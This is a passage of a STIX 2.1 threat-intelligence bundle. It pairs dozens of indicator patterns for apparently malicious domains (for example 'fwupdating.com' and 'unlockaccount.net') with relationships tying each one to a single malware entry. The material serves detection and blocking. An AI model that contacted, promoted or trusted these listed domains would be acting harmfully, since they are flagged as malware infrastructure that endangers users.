"relationship--be2f4886-baaf-4b6b-af0d-4b26e66b14c7", "created": "2024-01-26T21:28:21.370357Z", "modified": "2024-01-26T21:28:21.370357Z", "relationship_type": "indicates", "source_ref": "indicator--8ede5cd7-72ea-4e7b-a8cc-ea0ceac82cf4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b380d4d0-e40e-4af7-892a-bea5812da54f", "created": "2024-01-26T21:28:21.370453Z", "modified": "2024-01-26T21:28:21.370453Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirstats.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.370453Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--33702230-061f-4300-8791-79556eed5c46", "created": "2024-01-26T21:28:21.370838Z", "modified": "2024-01-26T21:28:21.370838Z", "relationship_type": "indicates", "source_ref": "indicator--b380d4d0-e40e-4af7-892a-bea5812da54f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fde87af5-db99-4d75-822e-a4749f214871", "created": "2024-01-26T21:28:21.370934Z", "modified": "2024-01-26T21:28:21.370934Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='utensils.pro']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.370934Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--89cd97bb-cf5b-45da-bac1-0d8aeb627780", "created": "2024-01-26T21:28:21.371394Z", "modified": "2024-01-26T21:28:21.371394Z", "relationship_type": "indicates", "source_ref": "indicator--fde87af5-db99-4d75-822e-a4749f214871", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--067becdb-30d8-4e84-af28-4318c2b68a08", "created": "2024-01-26T21:28:21.371492Z", "modified": "2024-01-26T21:28:21.371492Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='publishbig.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.371492Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5bc59eeb-a2d3-4ad7-973d-cd7bfbbd45ff", "created": "2024-01-26T21:28:21.37188Z", "modified": "2024-01-26T21:28:21.37188Z", "relationship_type": "indicates", "source_ref": "indicator--067becdb-30d8-4e84-af28-4318c2b68a08", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--77fcd3dc-e13d-46dc-adec-795aceb6775a", "created": "2024-01-26T21:28:21.371975Z", "modified": "2024-01-26T21:28:21.371975Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thehighesttemple.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.371975Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--158ec61b-8396-404f-b742-b17d5ff07c5a", "created": "2024-01-26T21:28:21.372382Z", "modified": "2024-01-26T21:28:21.372382Z", "relationship_type": "indicates", "source_ref": "indicator--77fcd3dc-e13d-46dc-adec-795aceb6775a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2db3f2f7-1955-4676-96f9-d9fa192c705f", "created": "2024-01-26T21:28:21.37248Z", "modified": "2024-01-26T21:28:21.37248Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='url2all.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.37248Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bd9e45bd-0765-4ab7-9ef0-be6b5475a5b3", "created": "2024-01-26T21:28:21.372865Z", "modified": "2024-01-26T21:28:21.372865Z", "relationship_type": "indicates", "source_ref": "indicator--2db3f2f7-1955-4676-96f9-d9fa192c705f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3889f9de-4b6f-4e09-953a-ee23deace4c2", "created": "2024-01-26T21:28:21.372965Z", "modified": "2024-01-26T21:28:21.372965Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='picture4us.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.372965Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a0c99b57-370e-424d-8ab9-41030662aa5b", "created": "2024-01-26T21:28:21.373354Z", "modified": "2024-01-26T21:28:21.373354Z", "relationship_type": "indicates", "source_ref": "indicator--3889f9de-4b6f-4e09-953a-ee23deace4c2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7d8edfd6-ae39-45fb-a7d5-a1fbee9dc416", "created": "2024-01-26T21:28:21.373451Z", "modified": "2024-01-26T21:28:21.373451Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gumclockberry.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.373451Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--69f6d6a3-0165-4b55-9873-9c4493a233a0", "created": "2024-01-26T21:28:21.373836Z", "modified": "2024-01-26T21:28:21.373836Z", "relationship_type": "indicates", "source_ref": "indicator--7d8edfd6-ae39-45fb-a7d5-a1fbee9dc416", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3c84f9fc-f8be-46d6-915b-dff92177a551", "created": "2024-01-26T21:28:21.373932Z", "modified": "2024-01-26T21:28:21.373932Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fitness-for-ever.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.373932Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--faa9467d-ffe7-4810-9b0c-8b415bf43b7a", "created": "2024-01-26T21:28:21.37432Z", "modified": "2024-01-26T21:28:21.37432Z", "relationship_type": "indicates", "source_ref": "indicator--3c84f9fc-f8be-46d6-915b-dff92177a551", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bd9a752c-6616-4a26-949e-5ddd32aa95c6", "created": "2024-01-26T21:28:21.374424Z", "modified": "2024-01-26T21:28:21.374424Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='letyoufall.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.374424Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ccda629f-0cd6-45c8-9282-2d7b63482208", "created": "2024-01-26T21:28:21.37481Z", "modified": "2024-01-26T21:28:21.37481Z", "relationship_type": "indicates", "source_ref": "indicator--bd9a752c-6616-4a26-949e-5ddd32aa95c6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--31237e95-f112-4841-9703-39bb605ea0e4", "created": "2024-01-26T21:28:21.374908Z", "modified": "2024-01-26T21:28:21.374908Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='onthegoodtime.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.374908Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fd4361d2-833f-4e23-b77e-976c66ff146a", "created": "2024-01-26T21:28:21.375291Z", "modified": "2024-01-26T21:28:21.375291Z", "relationship_type": "indicates", "source_ref": "indicator--31237e95-f112-4841-9703-39bb605ea0e4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a35c87aa-5b32-4752-a159-774268b1fa55", "created": "2024-01-26T21:28:21.375386Z", "modified": "2024-01-26T21:28:21.375386Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fwupdating.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.375386Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8f07a1f9-7afa-4f4e-9c36-222a6b2356c3", "created": "2024-01-26T21:28:21.375847Z", "modified": "2024-01-26T21:28:21.375847Z", "relationship_type": "indicates", "source_ref": "indicator--a35c87aa-5b32-4752-a159-774268b1fa55", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2bf0e5a2-4e64-4b27-a0cb-c41b6a354f0f", "created": "2024-01-26T21:28:21.375948Z", "modified": "2024-01-26T21:28:21.375948Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='strangegloom.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.375948Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b36a22da-e036-4205-87d2-31b1c09ed092", "created": "2024-01-26T21:28:21.376336Z", "modified": "2024-01-26T21:28:21.376336Z", "relationship_type": "indicates", "source_ref": "indicator--2bf0e5a2-4e64-4b27-a0cb-c41b6a354f0f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c2a918f1-8c08-4e93-9bed-26a2b626d465", "created": "2024-01-26T21:28:21.376433Z", "modified": "2024-01-26T21:28:21.376433Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='akhbar-arabia.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.376433Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0db77e3c-0906-412d-827f-675e53b6cdb4", "created": "2024-01-26T21:28:21.376819Z", "modified": "2024-01-26T21:28:21.376819Z", "relationship_type": "indicates", "source_ref": "indicator--c2a918f1-8c08-4e93-9bed-26a2b626d465", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dd20e434-0c99-4f8b-b7b3-ad7f7159dcf2", "created": "2024-01-26T21:28:21.376914Z", "modified": "2024-01-26T21:28:21.376914Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mailappzone.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.376914Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b877dcff-12fd-454c-8f92-3e1998b322d8", "created": "2024-01-26T21:28:21.377304Z", "modified": "2024-01-26T21:28:21.377304Z", "relationship_type": "indicates", "source_ref": "indicator--dd20e434-0c99-4f8b-b7b3-ad7f7159dcf2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4645ffee-3a7c-48ab-b7c2-6367e5502b7a", "created": "2024-01-26T21:28:21.377404Z", "modified": "2024-01-26T21:28:21.377404Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='megaticket.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.377404Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--42c612a2-6d59-4dfb-92a1-b96de2ee05d2", "created": "2024-01-26T21:28:21.37779Z", "modified": "2024-01-26T21:28:21.37779Z", "relationship_type": "indicates", "source_ref": "indicator--4645ffee-3a7c-48ab-b7c2-6367e5502b7a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--107d2e5d-02f2-4ec0-9154-e3ca8e4b1432", "created": "2024-01-26T21:28:21.377888Z", "modified": "2024-01-26T21:28:21.377888Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='a-redirect.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.377888Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bc7d3b58-f103-414d-82a5-288e170acf3f", "created": "2024-01-26T21:28:21.378273Z", "modified": "2024-01-26T21:28:21.378273Z", "relationship_type": "indicates", "source_ref": "indicator--107d2e5d-02f2-4ec0-9154-e3ca8e4b1432", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d018da57-223e-48f6-a1bd-4dcf081dae7c", "created": "2024-01-26T21:28:21.378367Z", "modified": "2024-01-26T21:28:21.378367Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dotroomeight.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.378367Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5d8cf10b-3c78-4833-82dd-5c32c9b8d695", "created": "2024-01-26T21:28:21.378751Z", "modified": "2024-01-26T21:28:21.378751Z", "relationship_type": "indicates", "source_ref": "indicator--d018da57-223e-48f6-a1bd-4dcf081dae7c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d3b84004-8ca2-4fc6-aa5b-b2498715d681", "created": "2024-01-26T21:28:21.378847Z", "modified": "2024-01-26T21:28:21.378847Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mybrightidea.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.378847Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--819df8fa-9737-4163-89bb-8a3d5077a0c5", "created": "2024-01-26T21:28:21.379229Z", "modified": "2024-01-26T21:28:21.379229Z", "relationship_type": "indicates", "source_ref": "indicator--d3b84004-8ca2-4fc6-aa5b-b2498715d681", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--621e21cc-2610-424b-8f5c-558f5430d4e4", "created": "2024-01-26T21:28:21.379324Z", "modified": "2024-01-26T21:28:21.379324Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='eltiempo-news.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.379324Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1f23688e-a92e-4006-b933-7f3530e25f86", "created": "2024-01-26T21:28:21.37971Z", "modified": "2024-01-26T21:28:21.37971Z", "relationship_type": "indicates", "source_ref": "indicator--621e21cc-2610-424b-8f5c-558f5430d4e4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--335f0fc7-c1b0-490a-8337-e1b7adc80f29", "created": "2024-01-26T21:28:21.379813Z", "modified": "2024-01-26T21:28:21.379813Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ticket-aviata.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.379813Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a282848c-7268-4f47-82aa-5f59c0eff904", "created": "2024-01-26T21:28:21.380281Z", "modified": "2024-01-26T21:28:21.380281Z", "relationship_type": "indicates", "source_ref": "indicator--335f0fc7-c1b0-490a-8337-e1b7adc80f29", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1347a1b7-1725-417f-970b-5cd663f9c54d", "created": "2024-01-26T21:28:21.38038Z", "modified": "2024-01-26T21:28:21.38038Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='statisticsdb.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.38038Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3bfad514-59b2-47f0-9348-0a62cc491b5e", "created": "2024-01-26T21:28:21.380769Z", "modified": "2024-01-26T21:28:21.380769Z", "relationship_type": "indicates", "source_ref": "indicator--1347a1b7-1725-417f-970b-5cd663f9c54d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--48ec101a-761c-4ae7-b32f-1777ef44ae71", "created": "2024-01-26T21:28:21.380865Z", "modified": "2024-01-26T21:28:21.380865Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectking.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.380865Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3d305d59-aee5-45fa-a5ed-941455037021", "created": "2024-01-26T21:28:21.381251Z", "modified": "2024-01-26T21:28:21.381251Z", "relationship_type": "indicates", "source_ref": "indicator--48ec101a-761c-4ae7-b32f-1777ef44ae71", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b769dbe6-11f4-4af4-9971-b5828bb4c710", "created": "2024-01-26T21:28:21.381345Z", "modified": "2024-01-26T21:28:21.381345Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mysadaga.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.381345Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1c6955e5-50a9-467d-a35d-ca63ade9c9fa", "created": "2024-01-26T21:28:21.381727Z", "modified": "2024-01-26T21:28:21.381727Z", "relationship_type": "indicates", "source_ref": "indicator--b769dbe6-11f4-4af4-9971-b5828bb4c710", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--984abefc-2b2a-4c96-84ac-022df10c92f0", "created": "2024-01-26T21:28:21.381822Z", "modified": "2024-01-26T21:28:21.381822Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hardthinmetal.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.381822Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f066b628-7eb1-4a92-a5b5-c0dc529cab04", "created": "2024-01-26T21:28:21.382206Z", "modified": "2024-01-26T21:28:21.382206Z", "relationship_type": "indicates", "source_ref": "indicator--984abefc-2b2a-4c96-84ac-022df10c92f0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aeb530b7-ec90-4956-be95-00ff6de19d9b", "created": "2024-01-26T21:28:21.382302Z", "modified": "2024-01-26T21:28:21.382302Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domainloading.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.382302Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5c38556a-3416-4d20-856f-465c82650ea9", "created": "2024-01-26T21:28:21.382694Z", "modified": "2024-01-26T21:28:21.382694Z", "relationship_type": "indicates", "source_ref": "indicator--aeb530b7-ec90-4956-be95-00ff6de19d9b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f0cd5603-efa9-45f0-afe9-cf0913b2e688", "created": "2024-01-26T21:28:21.38279Z", "modified": "2024-01-26T21:28:21.38279Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='purple-enveloppe.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.38279Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fe414931-08fa-41c9-bc7a-9b1c1ab5a222", "created": "2024-01-26T21:28:21.383181Z", "modified": "2024-01-26T21:28:21.383181Z", "relationship_type": "indicates", "source_ref": "indicator--f0cd5603-efa9-45f0-afe9-cf0913b2e688", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f18519dd-eaac-4cc1-ab80-00d6d06c6bbf", "created": "2024-01-26T21:28:21.383276Z", "modified": "2024-01-26T21:28:21.383276Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='driventicket.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.383276Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8e080194-95c3-4004-a144-d82c46b5329b", "created": "2024-01-26T21:28:21.383666Z", "modified": "2024-01-26T21:28:21.383666Z", "relationship_type": "indicates", "source_ref": "indicator--f18519dd-eaac-4cc1-ab80-00d6d06c6bbf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1a44d0a3-05c0-4b74-8db4-a0afaa08cec9", "created": "2024-01-26T21:28:21.383761Z", "modified": "2024-01-26T21:28:21.383761Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='stopsms.biz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.383761Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--47d0184a-58a1-4322-bac6-3359944f72a6", "created": "2024-01-26T21:28:21.38414Z", "modified": "2024-01-26T21:28:21.38414Z", "relationship_type": "indicates", "source_ref": "indicator--1a44d0a3-05c0-4b74-8db4-a0afaa08cec9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6c358c22-845e-4327-8ec1-00a8ccd4f17c", "created": "2024-01-26T21:28:21.384236Z", "modified": "2024-01-26T21:28:21.384236Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='deadwordsstory.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.384236Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a5e02c9-c990-4729-814b-6fd8f56e1bda", "created": "2024-01-26T21:28:21.384708Z", "modified": "2024-01-26T21:28:21.384708Z", "relationship_type": "indicates", "source_ref": "indicator--6c358c22-845e-4327-8ec1-00a8ccd4f17c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--197e782a-9bb5-49c3-844d-bfbabc19ed41", "created": "2024-01-26T21:28:21.384806Z", "modified": "2024-01-26T21:28:21.384806Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-webpage.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.384806Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--97a6cae6-843e-4f97-b18f-56bb4326ccff", "created": "2024-01-26T21:28:21.385201Z", "modified": "2024-01-26T21:28:21.385201Z", "relationship_type": "indicates", "source_ref": "indicator--197e782a-9bb5-49c3-844d-bfbabc19ed41", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9f837143-cde0-4eb0-8bff-c9146e0be9cb", "created": "2024-01-26T21:28:21.385297Z", "modified": "2024-01-26T21:28:21.385297Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domainsearching.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.385297Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--08d310ae-c0f8-49c3-81d2-d732c0730f40", "created": "2024-01-26T21:28:21.385686Z", "modified": "2024-01-26T21:28:21.385686Z", "relationship_type": "indicates", "source_ref": "indicator--9f837143-cde0-4eb0-8bff-c9146e0be9cb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--530f8d4e-e1a7-444c-8314-6f59af35b33a", "created": "2024-01-26T21:28:21.385783Z", "modified": "2024-01-26T21:28:21.385783Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='audienceflake.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.385783Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a8d7ff45-a30a-451e-a44f-46b7c8490893", "created": "2024-01-26T21:28:21.386168Z", "modified": "2024-01-26T21:28:21.386168Z", "relationship_type": "indicates", "source_ref": "indicator--530f8d4e-e1a7-444c-8314-6f59af35b33a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--880a9c23-5cda-4c6e-8b4c-3d0be4c3d3c8", "created": "2024-01-26T21:28:21.386264Z", "modified": "2024-01-26T21:28:21.386264Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='websitetosubmit.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.386264Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7fca6f1e-94d4-4019-9e52-51b06e056cd6", "created": "2024-01-26T21:28:21.386651Z", "modified": "2024-01-26T21:28:21.386651Z", "relationship_type": "indicates", "source_ref": "indicator--880a9c23-5cda-4c6e-8b4c-3d0be4c3d3c8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f1444d6f-6edc-44cf-a008-0de4270878b7", "created": "2024-01-26T21:28:21.386748Z", "modified": "2024-01-26T21:28:21.386748Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myukadventures.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.386748Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e4f5ff9f-118b-4047-a53c-9d0fe96fc259", "created": "2024-01-26T21:28:21.387136Z", "modified": "2024-01-26T21:28:21.387136Z", "relationship_type": "indicates", "source_ref": "indicator--f1444d6f-6edc-44cf-a008-0de4270878b7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--56ae39ce-832e-4ee5-b18b-aa2369643c6e", "created": "2024-01-26T21:28:21.387231Z", "modified": "2024-01-26T21:28:21.387231Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ticket-selections.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.387231Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af1575e7-cbed-4c64-9b24-3ceca9a9fd91", "created": "2024-01-26T21:28:21.387621Z", "modified": "2024-01-26T21:28:21.387621Z", "relationship_type": "indicates", "source_ref": "indicator--56ae39ce-832e-4ee5-b18b-aa2369643c6e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dcfb5272-ffc6-4164-ae22-cb3cd03c8424", "created": "2024-01-26T21:28:21.387716Z", "modified": "2024-01-26T21:28:21.387716Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='candlealbum.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.387716Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--eee66794-4ada-49e3-8863-52855c1cb2a4", "created": "2024-01-26T21:28:21.388104Z", "modified": "2024-01-26T21:28:21.388104Z", "relationship_type": "indicates", "source_ref": "indicator--dcfb5272-ffc6-4164-ae22-cb3cd03c8424", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1e32e17a-125b-4406-a0c9-d214321d9b4b", "created": "2024-01-26T21:28:21.388202Z", "modified": "2024-01-26T21:28:21.388202Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='unlockaccount.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.388202Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b126a3a6-4042-47c8-926d-102520731e0d", "created": "2024-01-26T21:28:21.388592Z", "modified": "2024-01-26T21:28:21.388592Z", "relationship_type": "indicates", "source_ref": "indicator--1e32e17a-125b-4406-a0c9-d214321d9b4b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--46aea4a5-b871-44f3-8197-033f8db71b32", "created": "2024-01-26T21:28:21.388688Z", "modified": "2024-01-26T21:28:21.388688Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='chocolateicecreamlovers.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.388688Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ecba7528-dec3-4f9a-808b-30fb9be515cc", "created": "2024-01-26T21:28:21.389162Z", "modified": "2024-01-26T21:28:21.389162Z", "relationship_type": "indicates", "source_ref": "indicator--46aea4a5-b871-44f3-8197-033f8db71b32", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2b2776e6-a9c7-4f74-8acc-ae70e159a2cb", "created": "2024-01-26T21:28:21.389259Z", "modified": "2024-01-26T21:28:21.389259Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='walltome.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.389259Z"}, {"type": "relationship", "spec_version": "2.1", "id": 